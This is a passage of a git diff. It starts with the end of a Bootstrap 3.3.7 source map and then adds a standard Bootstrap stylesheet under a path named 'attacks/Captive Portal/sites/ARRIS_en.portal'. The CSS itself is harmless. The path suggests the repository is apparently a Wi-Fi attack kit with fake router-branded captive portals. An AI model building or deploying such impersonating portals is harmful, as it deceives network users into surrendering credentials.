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","sourcesContent":["/*!\n * Bootstrap v3.3.7 (http://getbootstrap.com)\n * Copyright 2011-2016 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n\n//\n// Load core variables and mixins\n// --------------------------------------------------\n\n@import \"variables.less\";\n@import \"mixins.less\";\n\n\n//\n// Buttons\n// --------------------------------------------------\n\n// Common styles\n.btn-default,\n.btn-primary,\n.btn-success,\n.btn-info,\n.btn-warning,\n.btn-danger {\n text-shadow: 0 -1px 0 rgba(0,0,0,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 1px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n // Reset the shadow\n &:active,\n &.active {\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n .box-shadow(none);\n }\n\n .badge {\n text-shadow: none;\n }\n}\n\n// Mixin for generating new styles\n.btn-styles(@btn-color: #555) {\n #gradient > .vertical(@start-color: @btn-color; @end-color: darken(@btn-color, 12%));\n .reset-filter(); // Disable gradients for IE9 because filter bleeds through rounded corners; see https://github.com/twbs/bootstrap/issues/10620\n background-repeat: repeat-x;\n border-color: darken(@btn-color, 14%);\n\n &:hover,\n &:focus {\n background-color: darken(@btn-color, 12%);\n background-position: 0 -15px;\n }\n\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n border-color: darken(@btn-color, 14%);\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n &,\n &:hover,\n &:focus,\n &.focus,\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n background-image: none;\n }\n }\n}\n\n// Common styles\n.btn {\n // Remove the gradient for the pressed/active state\n &:active,\n &.active {\n background-image: none;\n }\n}\n\n// Apply the mixin to the buttons\n.btn-default { .btn-styles(@btn-default-bg); text-shadow: 0 1px 0 #fff; border-color: #ccc; }\n.btn-primary { .btn-styles(@btn-primary-bg); }\n.btn-success { .btn-styles(@btn-success-bg); }\n.btn-info { .btn-styles(@btn-info-bg); }\n.btn-warning { .btn-styles(@btn-warning-bg); }\n.btn-danger { .btn-styles(@btn-danger-bg); }\n\n\n//\n// Images\n// --------------------------------------------------\n\n.thumbnail,\n.img-thumbnail {\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n\n\n//\n// Dropdowns\n// --------------------------------------------------\n\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-hover-bg; @end-color: darken(@dropdown-link-hover-bg, 5%));\n background-color: darken(@dropdown-link-hover-bg, 5%);\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n background-color: darken(@dropdown-link-active-bg, 5%);\n}\n\n\n//\n// Navbar\n// --------------------------------------------------\n\n// Default navbar\n.navbar-default {\n #gradient > .vertical(@start-color: lighten(@navbar-default-bg, 10%); @end-color: @navbar-default-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered\n border-radius: @navbar-border-radius;\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 5px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: darken(@navbar-default-link-active-bg, 5%); @end-color: darken(@navbar-default-link-active-bg, 2%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.075));\n }\n}\n.navbar-brand,\n.navbar-nav > li > a {\n text-shadow: 0 1px 0 rgba(255,255,255,.25);\n}\n\n// Inverted navbar\n.navbar-inverse {\n #gradient > .vertical(@start-color: lighten(@navbar-inverse-bg, 10%); @end-color: @navbar-inverse-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered; see https://github.com/twbs/bootstrap/issues/10257\n border-radius: @navbar-border-radius;\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: @navbar-inverse-link-active-bg; @end-color: lighten(@navbar-inverse-link-active-bg, 2.5%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.25));\n }\n\n .navbar-brand,\n .navbar-nav > li > a {\n text-shadow: 0 -1px 0 rgba(0,0,0,.25);\n }\n}\n\n// Undo rounded corners in static and fixed navbars\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n border-radius: 0;\n}\n\n// Fix active state of dropdown items in collapsed mode\n@media (max-width: @grid-float-breakpoint-max) {\n .navbar .navbar-nav .open .dropdown-menu > .active > a {\n &,\n &:hover,\n &:focus {\n color: #fff;\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n }\n }\n}\n\n\n//\n// Alerts\n// --------------------------------------------------\n\n// Common styles\n.alert {\n text-shadow: 0 1px 0 rgba(255,255,255,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.25), 0 1px 2px rgba(0,0,0,.05);\n .box-shadow(@shadow);\n}\n\n// Mixin for generating new styles\n.alert-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 7.5%));\n border-color: darken(@color, 15%);\n}\n\n// Apply the mixin to the alerts\n.alert-success { .alert-styles(@alert-success-bg); }\n.alert-info { .alert-styles(@alert-info-bg); }\n.alert-warning { .alert-styles(@alert-warning-bg); }\n.alert-danger { .alert-styles(@alert-danger-bg); }\n\n\n//\n// Progress bars\n// --------------------------------------------------\n\n// Give the progress background some depth\n.progress {\n #gradient > .vertical(@start-color: darken(@progress-bg, 4%); @end-color: @progress-bg)\n}\n\n// Mixin for generating new styles\n.progress-bar-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 10%));\n}\n\n// Apply the mixin to the progress bars\n.progress-bar { .progress-bar-styles(@progress-bar-bg); }\n.progress-bar-success { .progress-bar-styles(@progress-bar-success-bg); }\n.progress-bar-info { .progress-bar-styles(@progress-bar-info-bg); }\n.progress-bar-warning { .progress-bar-styles(@progress-bar-warning-bg); }\n.progress-bar-danger { .progress-bar-styles(@progress-bar-danger-bg); }\n\n// Reset the striped class because our mixins don't do multiple gradients and\n// the above custom styles override the new `.progress-bar-striped` in v3.2.0.\n.progress-bar-striped {\n #gradient > .striped();\n}\n\n\n//\n// List groups\n// --------------------------------------------------\n\n.list-group {\n border-radius: @border-radius-base;\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n text-shadow: 0 -1px 0 darken(@list-group-active-bg, 10%);\n #gradient > .vertical(@start-color: @list-group-active-bg; @end-color: darken(@list-group-active-bg, 7.5%));\n border-color: darken(@list-group-active-border, 7.5%);\n\n .badge {\n text-shadow: none;\n }\n}\n\n\n//\n// Panels\n// --------------------------------------------------\n\n// Common styles\n.panel {\n .box-shadow(0 1px 2px rgba(0,0,0,.05));\n}\n\n// Mixin for generating new styles\n.panel-heading-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 5%));\n}\n\n// Apply the mixin to the panel headings only\n.panel-default > .panel-heading { .panel-heading-styles(@panel-default-heading-bg); }\n.panel-primary > .panel-heading { .panel-heading-styles(@panel-primary-heading-bg); }\n.panel-success > .panel-heading { .panel-heading-styles(@panel-success-heading-bg); }\n.panel-info > .panel-heading { .panel-heading-styles(@panel-info-heading-bg); }\n.panel-warning > .panel-heading { .panel-heading-styles(@panel-warning-heading-bg); }\n.panel-danger > .panel-heading { .panel-heading-styles(@panel-danger-heading-bg); }\n\n\n//\n// Wells\n// --------------------------------------------------\n\n.well {\n #gradient > .vertical(@start-color: darken(@well-bg, 5%); @end-color: @well-bg);\n border-color: darken(@well-bg, 10%);\n @shadow: inset 0 1px 3px rgba(0,0,0,.05), 0 1px 0 rgba(255,255,255,.1);\n .box-shadow(@shadow);\n}\n","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// Autoprefixer in our Gruntfile. They have been removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility) {\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n -ms-transform: translate(@x, @y); // IE9 only\n -o-transform: translate(@x, @y);\n transform: translate(@x, @y);\n}\n.translate3d(@x; @y; @z) {\n -webkit-transform: translate3d(@x, @y, @z);\n transform: translate3d(@x, @y, @z);\n}\n.rotate(@degrees) {\n -webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) {\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n","// Gradients\n\n#gradient {\n\n // Horizontal gradient, from left to right\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n // Vertical gradient, from top to bottom\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {\n background-repeat: repeat-x;\n background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12\n background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n }\n .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .radial(@inner-color: #555; @outer-color: #333) {\n background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);\n background-image: radial-gradient(circle, @inner-color, @outer-color);\n background-repeat: no-repeat;\n }\n .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {\n background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n }\n}\n","// Reset filters for IE\n//\n// When you need to remove a gradient background, do not forget to use this to reset\n// the IE filter for IE9 and below.\n\n.reset-filter() {\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\"));\n}\n"]} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.css b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.css new file mode 100644 index 0000000..6167622 --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.css @@ -0,0 +1,6757 @@ +/*! + * Bootstrap v3.3.7 (http://getbootstrap.com) + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */ +html { + font-family: sans-serif; + -webkit-text-size-adjust: 100%; + -ms-text-size-adjust: 100%; +} +body { + margin: 0; +} +article, +aside, +details, +figcaption, +figure, +footer, +header, +hgroup, +main, +menu, +nav, +section, +summary { + display: block; +} +audio, +canvas, +progress, +video { + display: inline-block; + vertical-align: baseline; +} +audio:not([controls]) { + display: none; + height: 0; +} +[hidden], +template { + display: none; +} +a { + background-color: transparent; +} +a:active, +a:hover { + outline: 0; +} +abbr[title] { + border-bottom: 1px dotted; +} +b, +strong { + font-weight: bold; +} +dfn { + font-style: italic; +} +h1 { + margin: .67em 0; + font-size: 2em; +} +mark { + color: #000; + background: #ff0; +} +small { + font-size: 80%; +} +sub, +sup { + position: relative; + font-size: 75%; + line-height: 0; + vertical-align: baseline; +} +sup { + top: -.5em; +} +sub { + bottom: -.25em; +} +img { + border: 0; +} +svg:not(:root) { + overflow: hidden; +} +figure { + margin: 1em 40px; +} +hr { + height: 0; + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; +} +pre { + overflow: auto; +} +code, +kbd, +pre, +samp { + font-family: monospace, monospace; + font-size: 1em; +} +button, +input, +optgroup, +select, +textarea { + margin: 0; + font: inherit; + color: inherit; +} +button { + overflow: visible; +} +button, +select { + text-transform: none; +} +button, +html input[type="button"], +input[type="reset"], +input[type="submit"] { + -webkit-appearance: button; + cursor: pointer; +} +button[disabled], +html input[disabled] { + cursor: default; +} +button::-moz-focus-inner, +input::-moz-focus-inner { + padding: 0; + border: 0; +} +input { + line-height: normal; +} +input[type="checkbox"], +input[type="radio"] { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; + padding: 0; +} +input[type="number"]::-webkit-inner-spin-button, +input[type="number"]::-webkit-outer-spin-button { + height: auto; +} +input[type="search"] { + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; + -webkit-appearance: textfield; +} +input[type="search"]::-webkit-search-cancel-button, +input[type="search"]::-webkit-search-decoration { + -webkit-appearance: none; +} +fieldset { + padding: .35em .625em .75em; + margin: 0 2px; + border: 1px solid #c0c0c0; +} +legend { + padding: 0; + border: 0; +} +textarea { + overflow: auto; +} +optgroup { + font-weight: bold; +} +table { + border-spacing: 0; + border-collapse: collapse; +} +td, +th { + padding: 0; +} +/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */ +@media print { + *, + *:before, + *:after { + color: #000 !important; + text-shadow: none !important; + background: transparent !important; + -webkit-box-shadow: none !important; + 